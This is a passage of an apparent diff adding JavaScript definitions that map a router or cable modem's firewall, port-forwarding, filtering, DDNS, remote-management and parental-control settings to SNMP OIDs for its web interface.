arPacketsRcv270Mbps=AdvanceWirelessStatsRateStats.PacketsRcv270Mbps; +var arPacketsRcv324Mbps=AdvanceWirelessStatsRateStats.PacketsRcv324Mbps; +var arPacketsRcv378Mbps=AdvanceWirelessStatsRateStats.PacketsRcv378Mbps; +var arPacketsRcv432Mbps=AdvanceWirelessStatsRateStats.PacketsRcv432Mbps; +var arPacketsRcv486Mbps=AdvanceWirelessStatsRateStats.PacketsRcv486Mbps; +var arPacketsRcv540Mbps=AdvanceWirelessStatsRateStats.PacketsRcv540Mbps; + +var FWCfg = new Container("FWCfg", "1.3.6.1.4.1.4115.1.20.1.1.4"); +FWCfg.FWEnabled= new Scalar("FWEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.1",2); +FWCfg.FWVirtSrvClear= new Scalar("FWVirtSrvClear","1.3.6.1.4.1.4115.1.20.1.1.4.2",2); +FWCfg.FWIPFilterClear= new Scalar("FWIPFilterClear","1.3.6.1.4.1.4115.1.20.1.1.4.3",2); +FWCfg.FWMACFilterClear= new Scalar("FWMACFilterClear","1.3.6.1.4.1.4115.1.20.1.1.4.4",2); +FWCfg.FWPortTrigClear= new Scalar("FWPortTrigClear","1.3.6.1.4.1.4115.1.20.1.1.4.5",2); +FWCfg.FWEnableDMZ= new Scalar("FWEnableDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.6",2); +FWCfg.FWIPAddrTypeDMZ= new Scalar("FWIPAddrTypeDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.7",2); +FWCfg.FWIPAddrDMZ= new Scalar("FWIPAddrDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.8",4, 1); +FWCfg.FWSecurityLevel= new Scalar("FWSecurityLevel","1.3.6.1.4.1.4115.1.20.1.1.4.9",2); +FWCfg.FWApplySettings= new Scalar("FWApplySettings","1.3.6.1.4.1.4115.1.20.1.1.4.10",2); +FWCfg.FWAllowAll= new Scalar("FWAllowAll","1.3.6.1.4.1.4115.1.20.1.1.4.14",2); +FWCfg.FWAllowICMP= new Scalar("FWAllowICMP","1.3.6.1.4.1.4115.1.20.1.1.4.21",2); +FWCfg.FWResetDefaults= new Scalar("FWResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.4.22",2); +FWCfg.FWBlockHTTP= new Scalar("FWBlockHTTP","1.3.6.1.4.1.4115.1.20.1.1.4.23",2); +FWCfg.FWBlockP2P= new Scalar("FWBlockP2P","1.3.6.1.4.1.4115.1.20.1.1.4.24",2); +FWCfg.FWBlockIdent= new Scalar("FWBlockIdent","1.3.6.1.4.1.4115.1.20.1.1.4.25",2); +FWCfg.FWBlockICMP= new Scalar("FWBlockICMP","1.3.6.1.4.1.4115.1.20.1.1.4.26",2); +FWCfg.FWBlockMulticast= new Scalar("FWBlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.27",2); +FWCfg.FWVSSrcPortExclude= new Scalar("FWVSSrcPortExclude","1.3.6.1.4.1.4115.1.20.1.1.4.28",4); +FWCfg.FWVSDestPortExclude= new Scalar("FWVSDestPortExclude","1.3.6.1.4.1.4115.1.20.1.1.4.29",4); +FWCfg.FWEnableNow= new Scalar("FWEnableNow","1.3.6.1.4.1.4115.1.20.1.1.4.30",2); +FWCfg.FWAllowDestPorts= new Scalar("FWAllowDestPorts","1.3.6.1.4.1.4115.1.20.1.1.4.31",4); +FWCfg.FWVirtSrvTableEnabled= new Scalar("FWVirtSrvTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.32",2); +FWCfg.FWPortTrigTableEnabled= new Scalar("FWPortTrigTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.33",2); +// scm { +FWCfg.FWIPv6AddrDMZ= new Scalar("arFWIPv6AddrDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.39",4, 1); +// scm } +var arFWEnabled=FWCfg.FWEnabled; +var arFWVirtSrvClear=FWCfg.FWVirtSrvClear; +var arFWIPFilterClear=FWCfg.FWIPFilterClear; +var arFWMACFilterClear=FWCfg.FWMACFilterClear; +var arFWPortTrigClear=FWCfg.FWPortTrigClear; +var arFWEnableDMZ=FWCfg.FWEnableDMZ; +var arFWIPAddrTypeDMZ=FWCfg.FWIPAddrTypeDMZ; +var arFWIPAddrDMZ=FWCfg.FWIPAddrDMZ; +var arFWSecurityLevel=FWCfg.FWSecurityLevel; +var arFWApplySettings=FWCfg.FWApplySettings; +var arFWAllowAll=FWCfg.FWAllowAll; +var arFWAllowICMP=FWCfg.FWAllowICMP; +var arFWResetDefaults=FWCfg.FWResetDefaults; +var arFWBlockHTTP=FWCfg.FWBlockHTTP; +var arFWBlockP2P=FWCfg.FWBlockP2P; +var arFWBlockIdent=FWCfg.FWBlockIdent; +var arFWBlockICMP=FWCfg.FWBlockICMP; +var arFWBlockMulticast=FWCfg.FWBlockMulticast; +var arFWVSSrcPortExclude=FWCfg.FWVSSrcPortExclude; +var arFWVSDestPortExclude=FWCfg.FWVSDestPortExclude; +var arFWEnableNow=FWCfg.FWEnableNow; +var arFWAllowDestPorts=FWCfg.FWAllowDestPorts; +var arFWVirtSrvTableEnabled=FWCfg.FWVirtSrvTableEnabled; +var arFWPortTrigTableEnabled=FWCfg.FWPortTrigTableEnabled; +// scm start +var arFWIPv6AddrDMZ=FWCfg.FWIPv6AddrDMZ; + +var FWVirtSrvTable = new Table("FWVirtSrvTable", "1.3.6.1.4.1.4115.1.20.1.1.4.12"); +FWVirtSrvTable.FWVirtSrvIndex = new Column("FWVirtSrvIndex","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.1",66); +FWVirtSrvTable.FWVirtSrvDesc = new Column("FWVirtSrvDesc","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.2",4); +FWVirtSrvTable.FWVirtSrvPortStart = new Column("FWVirtSrvPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.3",66); +FWVirtSrvTable.FWVirtSrvPortEnd = new Column("FWVirtSrvPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.4",66); +FWVirtSrvTable.FWVirtSrvProtoType = new Column("FWVirtSrvProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.5",2); +FWVirtSrvTable.FWVirtSrvIPAddrType = new Column("FWVirtSrvIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.6",2); +FWVirtSrvTable.FWVirtSrvIPAddr = new Column("FWVirtSrvIPAddr","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.7",4, 1); +FWVirtSrvTable.FWVirtSrvTOD = new Column("FWVirtSrvTOD","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.8",2); +FWVirtSrvTable.FWVirtSrvLocalPortStart = new Column("FWVirtSrvLocalPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.9",66); +FWVirtSrvTable.FWVirtSrvLocalPortEnd = new Column("FWVirtSrvLocalPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.10",66); +FWVirtSrvTable.FWVirtSrvRowStatus = new Column("FWVirtSrvRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.11",2); +// scm start +FWVirtSrvTable.FWVirtSrvIPv6AddrType = new Column("arFWVirtSrvActive","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.12",2); +FWVirtSrvTable.FWVirtSrvIPv6Addr = new Column("arFWVirtSrvIPv6Addr","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.13",4); +// scm end +var arFWVirtSrvIndex=FWVirtSrvTable.FWVirtSrvIndex; +var arFWVirtSrvDesc=FWVirtSrvTable.FWVirtSrvDesc; +var arFWVirtSrvPortStart=FWVirtSrvTable.FWVirtSrvPortStart; +var arFWVirtSrvPortEnd=FWVirtSrvTable.FWVirtSrvPortEnd; +var arFWVirtSrvProtoType=FWVirtSrvTable.FWVirtSrvProtoType; +var arFWVirtSrvIPAddrType=FWVirtSrvTable.FWVirtSrvIPAddrType; +var arFWVirtSrvIPAddr=FWVirtSrvTable.FWVirtSrvIPAddr; +var arFWVirtSrvTOD=FWVirtSrvTable.FWVirtSrvTOD; +var arFWVirtSrvLocalPortStart=FWVirtSrvTable.FWVirtSrvLocalPortStart; +var arFWVirtSrvLocalPortEnd=FWVirtSrvTable.FWVirtSrvLocalPortEnd; +var arFWVirtSrvRowStatus=FWVirtSrvTable.FWVirtSrvRowStatus; +var FWVirtSrvIPv6AddrType=FWVirtSrvTable.FWVirtSrvIPv6AddrType; +var arFWVirtSrvIPv6Addr=FWVirtSrvTable.FWVirtSrvIPv6Addr; + +var FWIPFilterTable = new Table("FWIPFilterTable", "1.3.6.1.4.1.4115.1.20.1.1.4.13"); +FWIPFilterTable.FWIPFilterIndex = new Column("FWIPFilterIndex","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.1",66); +FWIPFilterTable.FWIPFilterDesc = new Column("FWIPFilterDesc","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.2",4); +FWIPFilterTable.FWIPFilterStartType = new Column("FWIPFilterStartType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.3",2); +FWIPFilterTable.FWIPFilterStartAddr = new Column("FWIPFilterStartAddr","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.4",4, 1); +FWIPFilterTable.FWIPFilterEndType = new Column("FWIPFilterEndType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.5",2); +FWIPFilterTable.FWIPFilterEndAddr = new Column("FWIPFilterEndAddr","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.6",4, 1); +FWIPFilterTable.FWIPFilterPortStart = new Column("FWIPFilterPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.7",66); +FWIPFilterTable.FWIPFilterPortEnd = new Column("FWIPFilterPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.8",66); +FWIPFilterTable.FWIPFilterProtoType = new Column("FWIPFilterProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.9",2); +FWIPFilterTable.FWIPFilterTOD = new Column("FWIPFilterTOD","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.10",2); +FWIPFilterTable.FWIPFilterRowStatus = new Column("FWIPFilterRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.11",2); +FWIPFilterTable.FWIPFilterAction = new Column("FWIPFilterAction","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.12",2); +FWIPFilterTable.FWIPFilterDirection = new Column("FWIPFilterDirection","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.13",2); +FWIPFilterTable.FWIPFilterStartMin = new Column("FWIPFilterStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.14",2); +FWIPFilterTable.FWIPFilterEndMin = new Column("FWIPFilterEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.15",2); + +var arFWIPFilterIndex=FWIPFilterTable.FWIPFilterIndex; +var arFWIPFilterDesc=FWIPFilterTable.FWIPFilterDesc; +var arFWIPFilterStartType=FWIPFilterTable.FWIPFilterStartType; +var arFWIPFilterStartAddr=FWIPFilterTable.FWIPFilterStartAddr; +var arFWIPFilterEndType=FWIPFilterTable.FWIPFilterEndType; +var arFWIPFilterEndAddr=FWIPFilterTable.FWIPFilterEndAddr; +var arFWIPFilterPortStart=FWIPFilterTable.FWIPFilterPortStart; +var arFWIPFilterPortEnd=FWIPFilterTable.FWIPFilterPortEnd; +var arFWIPFilterProtoType=FWIPFilterTable.FWIPFilterProtoType; +var arFWIPFilterTOD=FWIPFilterTable.FWIPFilterTOD; +var arFWIPFilterRowStatus=FWIPFilterTable.FWIPFilterRowStatus; +var arFWIPFilterAction=FWIPFilterTable.FWIPFilterAction; +var arFWIPFilterDirection=FWIPFilterTable.FWIPFilterDirection; +var arFWIPFilterStartMin=FWIPFilterTable.FWIPFilterStartMin; +var arFWIPFilterEndMin=FWIPFilterTable.FWIPFilterEndMin; + +var FWMACFilterTable = new Table("FWMACFilterTable", "1.3.6.1.4.1.4115.1.20.1.1.4.15"); +FWMACFilterTable.FWMACFilterIndex = new Column("FWMACFilterIndex","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.1",66); +FWMACFilterTable.FWMACFilterAddr = new Column("FWMACFilterAddr","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.2",4, 1); +FWMACFilterTable.FWMACFilterTOD = new Column("FWMACFilterTOD","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.3",2); +FWMACFilterTable.FWMACFilterRowStatus = new Column("FWMACFilterRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.4",2); +FWMACFilterTable.FWMACFilterHostName = new Column("FWMACFilterHostName","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.5",4); +FWMACFilterTable.FWMACFilterStartMin = new Column("FWMACFilterStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.6",2); +FWMACFilterTable.FWMACFilterEndMin = new Column("FWMACFilterEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.7",2); +var arFWMACFilterIndex=FWMACFilterTable.FWMACFilterIndex; +var arFWMACFilterAddr=FWMACFilterTable.FWMACFilterAddr; +var arFWMACFilterTOD=FWMACFilterTable.FWMACFilterTOD; +var arFWMACFilterRowStatus=FWMACFilterTable.FWMACFilterRowStatus; +var arFWMACFilterHostName=FWMACFilterTable.FWMACFilterHostName; +var arFWMACFilterStartMin=FWMACFilterTable.FWMACFilterStartMin; +var arFWMACFilterEndMin=FWMACFilterTable.FWMACFilterEndMin; + +var FWPortTrigTable = new Table("FWPortTrigTable", "1.3.6.1.4.1.4115.1.20.1.1.4.16"); +FWPortTrigTable.FWPortTrigIndex = new Column("FWPortTrigIndex", "1.3.6.1.4.1.4115.1.20.1.1.4.16.1.1",66); +FWPortTrigTable.FWPortTrigDesc = new Column("FWPortTrigDesc","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.2",4); +FWPortTrigTable.FWPortTrigPortStart = new Column("FWPortTrigPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.3",66); +FWPortTrigTable.FWPortTrigPortEnd = new Column("FWPortTrigPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.4",66); +FWPortTrigTable.FWPortTargPortStart = new Column("FWPortTargPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.5",66); +FWPortTrigTable.FWPortTargPortEnd = new Column("FWPortTargPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.6",66); +FWPortTrigTable.FWPortTrigProtoType = new Column("FWPortTrigProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.7",2); +FWPortTrigTable.FWPortTrigTOD = new Column("FWPortTrigTOD","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.8",2); +FWPortTrigTable.FWPortTrigRowStatus = new Column("FWPortTrigRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.9",2); +var arFWPortTrigIndex=FWPortTrigTable.FWPortTrigIndex; +var arFWPortTrigDesc=FWPortTrigTable.FWPortTrigDesc; +var arFWPortTrigPortStart=FWPortTrigTable.FWPortTrigPortStart; +var arFWPortTrigPortEnd=FWPortTrigTable.FWPortTrigPortEnd; +var arFWPortTargPortStart=FWPortTrigTable.FWPortTargPortStart; +var arFWPortTargPortEnd=FWPortTrigTable.FWPortTargPortEnd; +var arFWPortTrigProtoType=FWPortTrigTable.FWPortTrigProtoType; +var arFWPortTrigTOD=FWPortTrigTable.FWPortTrigTOD; +var arFWPortTrigRowStatus=FWPortTrigTable.FWPortTrigRowStatus; + +var FWFilterRules = new Container("FWFilterRules", "1.3.6.1.4.1.4115.1.20.1.1.4.17"); +FWFilterRules.FWFilterProxy= new Scalar("FWFilterProxy","1.3.6.1.4.1.4115.1.20.1.1.4.17.1",2); +FWFilterRules.FWFilterCookies= new Scalar("FWFilterCookies","1.3.6.1.4.1.4115.1.20.1.1.4.17.2",2); +FWFilterRules.FWFilterJavaApplets= new Scalar("FWFilterJavaApplets","1.3.6.1.4.1.4115.1.20.1.1.4.17.3",2); +FWFilterRules.FWFilterActiveX= new Scalar("FWFilterActiveX","1.3.6.1.4.1.4115.1.20.1.1.4.17.4",2); +FWFilterRules.FWFilterPopupWnds= new Scalar("FWFilterPopupWnds","1.3.6.1.4.1.4115.1.20.1.1.4.17.5",2); +FWFilterRules.FWBlockFragIPPkts= new Scalar("FWBlockFragIPPkts","1.3.6.1.4.1.4115.1.20.1.1.4.17.6",2); +FWFilterRules.FWPortScanProtect= new Scalar("FWPortScanProtect","1.3.6.1.4.1.4115.1.20.1.1.4.17.7",2); +FWFilterRules.FWIPFloodDetect= new Scalar("FWIPFloodDetect","1.3.6.1.4.1.4115.1.20.1.1.4.17.8",2); +var arFWFilterProxy=FWFilterRules.FWFilterProxy; +var arFWFilterCookies=FWFilterRules.FWFilterCookies; +var arFWFilterJavaApplets=FWFilterRules.FWFilterJavaApplets; +var arFWFilterActiveX=FWFilterRules.FWFilterActiveX; +var arFWFilterPopupWnds=FWFilterRules.FWFilterPopupWnds; +var arFWBlockFragIPPkts=FWFilterRules.FWBlockFragIPPkts; +var arFWPortScanProtect=FWFilterRules.FWPortScanProtect; +var arFWIPFloodDetect=FWFilterRules.FWIPFloodDetect; + +var FWDDNSObjs = new Container("FWDDNSObjs", "1.3.6.1.4.1.4115.1.20.1.1.4.18"); +FWDDNSObjs.FWDDNSEnable= new Scalar("FWDDNSEnable","1.3.6.1.4.1.4115.1.20.1.1.4.18.1",2); +FWDDNSObjs.FWDDNSType= new Scalar("FWDDNSType","1.3.6.1.4.1.4115.1.20.1.1.4.18.2",2); +FWDDNSObjs.FWDDNSUserHame= new Scalar("FWDDNSUserHame","1.3.6.1.4.1.4115.1.20.1.1.4.18.3",4); +FWDDNSObjs.FWDDNSPassword= new Scalar("FWDDNSPassword","1.3.6.1.4.1.4115.1.20.1.1.4.18.4",4); +FWDDNSObjs.FWDDNSDomainName= new Scalar("FWDDNSDomainName","1.3.6.1.4.1.4115.1.20.1.1.4.18.5",4); +FWDDNSObjs.FWDDNSIPAddrType= new Scalar("FWDDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.18.6",2); +FWDDNSObjs.FWDDNSIPAddr= new Scalar("FWDDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.4.18.7",4, 1); +FWDDNSObjs.FWDDNSStatus= new Scalar("FWDDNSStatus","1.3.6.1.4.1.4115.1.20.1.1.4.18.8",4); +var arFWDDNSEnable=FWDDNSObjs.FWDDNSEnable; +var arFWDDNSType=FWDDNSObjs.FWDDNSType; +var arFWDDNSUserHame=FWDDNSObjs.FWDDNSUserHame; +var arFWDDNSPassword=FWDDNSObjs.FWDDNSPassword; +var arFWDDNSDomainName=FWDDNSObjs.FWDDNSDomainName; +var arFWDDNSIPAddrType=FWDDNSObjs.FWDDNSIPAddrType; +var arFWDDNSIPAddr=FWDDNSObjs.FWDDNSIPAddr; +var arFWDDNSStatus=FWDDNSObjs.FWDDNSStatus; + + + +/*var FWDDNSDataTable= new Table("FWDDNSDataTable", "1.3.6.1.4.1.4115.1.20.11.1.5.12"); +FWDDNSDataTable.DDNSService= new Column("DDNSService","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.1",4); +FWDDNSDataTable.DDNSUserName=new Column("DDNSUserName","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.2",4); +FWDDNSDataTable.DDNSPassword=new Column("DDNSPassword","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.3",4); +FWDDNSDataTable.DDNSHostNames=new Column("DDNSHostNames","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.4",4); +var arDDNSService= FWDDNSDataTable.DDNSService; +var arDDNSUserName= FWDDNSDataTable.DDNSUserName; +var arDDNSPassword= FWDDNSDataTable.DDNSPassword; +var arDDNSHostNames=FWDDNSDataTable.DDNSHostNames; +*/ +var FWDDNSDataTable = new Table("FWDDNSDataTable", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1"); +FWDDNSDataTable.FWDDNSType = new Column("FWDDNSType", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.3", 4); +FWDDNSDataTable.FWDDNSUserHame = new Column("FWDDNSUserHame", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.4", 4); +FWDDNSDataTable.FWDDNSPassword = new Column("FWDDNSPassword", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.5", 4); +var arDDNSService= FWDDNSDataTable.FWDDNSType; +var arDDNSUserName= FWDDNSDataTable.FWDDNSUserHame; +var arDDNSPassword= FWDDNSDataTable.FWDDNSPassword; + +var FWDDNSHostAccess = new Table("FWDDNSHostAccess", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2"); +FWDDNSHostAccess.HostnameDDNSIndex = new Column("HostnameDDNSIndex", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.1", 2); +FWDDNSHostAccess.HostnameValue = new Column("HostnameValue", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.2", 2); +FWDDNSHostAccess.HostnameRowStatus = new Column("HostnameRowStatus", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.3", 2); +var arHostnameDDNSIndex = FWDDNSHostAccess.HostnameDDNSIndex; +var arHostnameValue = FWDDNSHostAccess.HostnameValue; +var arHostnameRowStatus = FWDDNSHostAccess.HostnameRowStatus; + + + +var FWFeatures = new Container("FWFeatures", "1.3.6.1.4.1.4115.1.20.1.1.4.19"); +FWFeatures.FWEnableWanBlocking= new Scalar("FWEnableWanBlocking","1.3.6.1.4.1.4115.1.20.1.1.4.19.1",2); +FWFeatures.FWIPSecPassThru= new Scalar("FWIPSecPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.2",2); +FWFeatures.FWPPTPPassThru= new Scalar("FWPPTPPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.3",2); +FWFeatures.FWEnableMulticast= new Scalar("FWEnableMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.19.4",2); +FWFeatures.FWEnableRemoteMgmt= new Scalar("FWEnableRemoteMgmt","1.3.6.1.4.1.4115.1.20.1.1.4.19.5",2); +FWFeatures.FWL2TPPassThru= new Scalar("FWL2TPPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.7",2); +FWFeatures.FWEnableWanSNMP= new Scalar("FWEnableWanSNMP","1.3.6.1.4.1.4115.1.20.1.1.4.19.8",2); +FWFeatures.FWEnableWanSSH= new Scalar("FWEnableWanSSH","1.3.6.1.4.1.4115.1.20.1.1.4.19.9",2); +FWFeatures.FWEnableLanSNMPWireless= new Scalar("FWEnableLanSNMPWireless","1.3.6.1.4.1.4115.1.20.1.1.4.19.10",2); +var arFWEnableWanBlocking=FWFeatures.FWEnableWanBlocking; +var arFWIPSecPassThru=FWFeatures.FWIPSecPassThru; +var arFWPPTPPassThru=FWFeatures.FWPPTPPassThru; +var arFWEnableMulticast=FWFeatures.FWEnableMulticast; +var arFWEnableRemoteMgmt=FWFeatures.FWEnableRemoteMgmt; +var arFWL2TPPassThru=FWFeatures.FWL2TPPassThru; +var arFWEnableWanSNMP=FWFeatures.FWEnableWanSNMP; +var arFWEnableWanSSH=FWFeatures.FWEnableWanSSH; +var arFWEnableLanSNMPWireless=FWFeatures.FWEnableLanSNMPWireless; + +// scm add 4 + +var FWEnableRemoteMgmt = new Container("FWEnableRemoteMgmt", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12"); +FWEnableRemoteMgmt.FWRemoteMgmtHttp= new Scalar("FWRemoteMgmtHttp","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.1",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttpPort= new Scalar("FWRemoteMgmtHttpPort","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.3",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttps= new Scalar("FWRemoteMgmtHttps","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.2",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttpsPort= new Scalar("FWRemoteMgmtHttpsPort","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.4",2); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedType = new Scalar("FWRemoteMgmtAllowedType", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.5", 2); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv4 = new Scalar("FWRemoteMgmtAllowedIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.6", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv6 = new Scalar("FWRemoteMgmtAllowedIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.7", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv4 = new Scalar("FWRemoteMgmtAllowedStartIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.8", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv4 = new Scalar("FWRemoteMgmtAllowedEndIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.9", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv6 = new Scalar("FWRemoteMgmtAllowedStartIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.10", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv6 = new Scalar("FWRemoteMgmtAllowedEndIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.11", 4); +FWEnableRemoteMgmt.FWRemoteMgmtTelnet = new Scalar("FWRemoteMgmtTelnet", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.12", 4); +var arFWRemoteMgmtHttp = FWEnableRemoteMgmt.FWRemoteMgmtHttp; +var arFWRemoteMgmtHttpPort = FWEnableRemoteMgmt.FWRemoteMgmtHttpPort; +var arFWRemoteMgmtHttps = FWEnableRemoteMgmt.FWRemoteMgmtHttps; +var arFWRemoteMgmtHttpsPort = FWEnableRemoteMgmt.FWRemoteMgmtHttpsPort; +var arFWRemoteMgmtAllowedType =FWEnableRemoteMgmt.FWRemoteMgmtAllowedType ; +var arFWRemoteMgmtAllowedIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv4 ; +var arFWRemoteMgmtAllowedIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv6 ; +var arFWRemoteMgmtAllowedStartIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv4 ; +var arFWRemoteMgmtAllowedEndIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv4 ; +var arFWRemoteMgmtAllowedStartIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv6 ; +var arFWRemoteMgmtAllowedEndIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv6 ; +var arFWRemoteMgmtTelnet =FWEnableRemoteMgmt.FWRemoteMgmtTelnet ; + +var CmDoc30Acess = new Container("CmDoc30Acess", "1.3.6.1.4.1.4115.1.3.4.1.2"); +CmDoc30Acess.RemoteMgmtTelnet = new Scalar("RemoteMgmtTelnet", "1.3.6.1.4.1.4115.1.3.4.1.2.2", 2); +CmDoc30Acess.RemoteMgmtSSH = new Scalar("RemoteMgmtSSH", "1.3.6.1.4.1.4115.1.3.4.1.2.10", 2); +var arRemoteMgmtTelnet =CmDoc30Acess.RemoteMgmtTelnet ; +var arRemoteMgmtSSH =CmDoc30Acess.RemoteMgmtSSH ; + + +var FWParentalControls = new Container("FWParentalControls", "1.3.6.1.4.1.4115.1.20.1.1.4.20"); +FWParentalControls.KeywordCount= new Scalar("KeywordCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.1",2); +FWParentalControls.KeywordClear= new Scalar("KeywordClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.2",2); +FWParentalControls.BlackListCount= new Scalar("BlackListCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.3",2); +FWParentalControls.BlackListClear= new Scalar("BlackListClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.4",2); +FWParentalControls.WhiteListCount= new Scalar("WhiteListCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.5",2); +FWParentalControls.WhiteListClear= new Scalar("WhiteListClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.6",2); +FWParentalControls.TrustedDeviceCount= new Scalar("TrustedDeviceCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.7",2); +FWParentalControls.TrustedDeviceClear= new Scalar("TrustedDeviceClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.8",2); +FWParentalControls.KeywordTableFreeIdx= new Scalar("KeywordTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.9",2); +FWParentalControls.BlackListFreeIdx= new Scalar("BlackListFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.11",2); +FWParentalControls.WhiteListFreeIdx= new Scalar("WhiteListFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.13",2); +FWParentalControls.TrustedDeviceFreeIdx= new Scalar("TrustedDeviceFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.15",2); +FWParentalControls.EnableParentalCont= new Scalar("EnableParentalCont","1.3.6.1.4.1.4115.1.20.1.1.4.20.17",2); +FWParentalControls.ManagedSitesEnabled= new Scalar("ManagedSitesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.18",2); +FWParentalControls.ManagedServicesEnabled= new Scalar("ManagedServicesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.19",2); +FWParentalControls.ManagedDevicesEnabled= new Scalar("ManagedDevicesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.20",2); +var arKeywordCount=FWParentalControls.KeywordCount; +var 